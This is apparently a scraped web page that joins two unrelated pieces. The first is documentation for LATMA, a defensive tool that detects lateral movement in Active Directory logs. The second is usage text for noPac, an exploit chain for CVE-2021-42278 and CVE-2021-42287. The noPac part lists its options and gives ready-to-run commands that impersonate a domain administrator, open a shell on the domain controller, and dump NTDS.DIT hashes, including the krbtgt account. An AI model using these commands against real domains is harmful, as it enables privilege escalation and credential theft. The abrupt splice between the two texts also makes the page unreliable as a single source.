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Lateral movement analyzer (LATMA) collects authentication logs from the domain and searches for potential lateral movement attacks and suspicious activity. The tool visualizes the findings with diagrams depicting the lateral movement patterns. This tool contains two modules, one that collects the logs and one that analyzes them. You can execute each of the modules separately, the event log collector should be executed in a Windows machine in an active directory domain environment with python 3.8 or above. The analyzer can be executed in a linux machine and a Windows machine.
The Event Log Collector module scans domain controllers for successful NTLM authentication logs and endpoints for successful Kerberos authentication logs. It requires LDAP/S port 389 and 636 and RPC port 135 access to the domain controller and clients. In addition it requires domain admin privileges or a user in the Event log Reader group or one with equivalent permissions. This is required to pull event logs from all endpoints and domain controllers.
The collector gathers NTLM logs from event 8004 on the domain controllers and Kerberos logs from event 4648 on the clients. It generates as an output a csv comma delimited format file with all the available authentication traffic. The output contains the fields source host, destination, username, auth type, SPN and timestamps in the format %Y/%m/%d %H:%M. The collector requires credential of a valid user with event viewer privileges across the environment and queries the specific logs for each protocol.
Verify Kerberos and NTLM protocols are audited across the environment using group policy:
The Analyzer receives as input a spreadsheet with authentication data formatted as specified in Collector's output structure. It searches for suspicious activity with the lateral movement analyzer algorithm and also detects additional IoCs of lateral movement. The authentication source and destination should be formalized with netbios name and not ip addresses.
LATMA gets a batch of authentication requests and sends an alert when it finds suspicious lateral movement attacks. We define the following:
Authentication Graph: A directed graph that contains information about authentication traffic in the environment. The nodes of the graphs are computers, and the edges are authentications between the computers. The graph edges have the attributes: protocol type, date of authentication and the account that sent the request. The graph nodes contain information about the computer it represents, detailed below.
Lateral movement graph: A sub-graph of the authentication graph that represents the attacker’s movement. The lateral movement graph is not always a path in the sub-graph, in some attacks the attacker goes in many different directions.
Alert: A sub-graph the algorithm suspects are part of the lateral movement graph.
LATMA performs several actions during its execution:
Information gathering: LATMA monitors normal behavior of the users and machines and characterizes them. The learning is used later to decide which authentication requests deviate from a normal behavior and might be involved in a lateral movement attack. For a learning period of three weeks LATMA does not throw any alerts and only learns the environment. The learning continues after those three weeks.
Authentication graph building: After the learning period every relevant authentication is added to the authentication graph. It is critical to filter only for relevant authentication, otherwise the number of edges the graph holds might be too big. We filter on the following protocol types: NTLM and Kerberos with the services “rpc”, “rpcss” and “termsrv.”
Adding an authentication to the graph might trigger a process of alerting. In general, a new edge can create a new alert, join an existing alert or merge two alerts.
Every authentication request monitored by LATMA is used for learning and stored in a dedicated data structure. First, we identify sinks and hubs. We define sinks as machines accessed by many (at least 50) different accounts, such as a company portal or exchange server. We define hubs as machines many different accounts (at least 20) authenticate from, such as proxies and VPNs. Authentications to sinks or from hubs are considered benign and are therefore removed from the authentication graph.
In addition to basic classification, LATMA matches between accounts and machines they frequently authenticate from. If an account authenticates from a machine at least three different days in a three weeks’ period, it means that this account matches the machine and any authentication of this account from the machine is considered benign and removed from the authentication graph.
The lateral movement IoCs are:
White cane - User accounts authenticating from a single machine to multiple ones in a relatively short time.
Bridge - User account X authenticating from machine A to machine B and following that, from machine B to machine C. This IoC potentially indicates an attacker performing actual advance from its initial foothold (A) to destination machine that better serves the attack’s objectives.
Switched Bridge - User account X authenticating from machine A to machine B, followed by user account Y authenticating from machine B to machine C. This IoC potentially indicates an attacker that discovers and compromises an additional account along its path and uses the new account to advance forward (a common example is account X being a standard domain user and account Y being a admin user)
Weight Shift - White cane (see above) from machine A to machines {B1,…, Bn}, followed by another White cane from machine Bx to machines {C1,…,Cn}. This IoC potentially indicates an attacker that has determined that machine B would better serve the attack’s purposes from now on uses machine B as the source for additional searches.
Blast - User account X authenticating from machine A to multiple machines in a very short timeframe. A common example is an attacker that plants \ executes ransomware on a mass number of machines simultaneously
Output:
The analyzer outputs several different files
usage
The Collector
Required arguments:
The Analyzer
Required arguments:
Optional arguments: 2. -output_file The location the csv with the all the IOCs is going to be saved to 3. -progression_output_file The location the csv with the the IOCs of the lateral movements is going to be save to 4. -sink_threshold number of accounts from which a machine is considered sink, default is 50 5. -hub_threshold number of accounts from which a machine is considered hub, default is 20 6. -learning_period learning period in days, default is 7 days 7. -show_all_iocs Show IoC that are not connected to any other IoCs 8. -show_gant If true, output the events in a gant format
Binary Usage Open command prompt and navigate to the binary folder. Run executables with the specified above arguments.
In the example files you have several samples of real environments (some contain lateral movement attacks and some don't) which you can give as input for the analyzer.
Usage example
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
Changed from sam-the-admin.
FreshRSS 
SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments:
[domain/]username[:password]
Account used to authenticate to DC.
optional arguments:
-h, --help show this help message and exit
--impersonate IMPERSONATE
target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
-domain-netbios NETBIOSNAME
Domain NetBIOS name. Required if the DC has multiple domains.
-target-name NEWNAME Target computer name, if not specified, will be random generated.
-new-pass PASSWORD Add new computer password, if not specified, will be random generated.
-old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name.
-ol d-hash LMHASH:NTHASH
Target computer hashes, use if you know the hash of the target you input with -target-name.
-debug Turn DEBUG output ON
-ts Adds timestamp to every logging output
-shell Drop a shell via smbexec
-no-add Forcibly change the password of the target computer.
-create-child Current account have permission to CreateChild.
-dump Dump Hashs via secretsdump
-use-ldap Use LDAP instead of LDAPS
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
-dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options:
-port [destination port]
Destination port to connect to SMB Server
-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)< br/> -share SHARE share where the output will be grabbed from (default ADMIN$)
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
-codec CODEC Sets encoding used (codec) from the target's output (default "GBK").
-service-name service_name
The name of theservice used to trigger the payload
dump options:
-just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
-use r-status Display whether or not the user is disabled
-history Dump password history, and LSA secrets OldVal
-resumefile RESUMEFILE
resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state
-use-vss Use the VSS method insead of default DRSUAPI
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using -use-vss). Default: smbexec
Note: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If --impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap .
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator 
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt
python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
Find the computer that can be modified by the current user.
AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user -recmute
Exp: add -no-add and target with -target-name.
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell
Warning!! Do not modify the password of the computer in the domain through ldaps or samr, it may break the trust relationship between the computer and the primary domain !!
Find CreateChild account, and use the account to exploit.
AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute
Exp: add -create-child
python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child
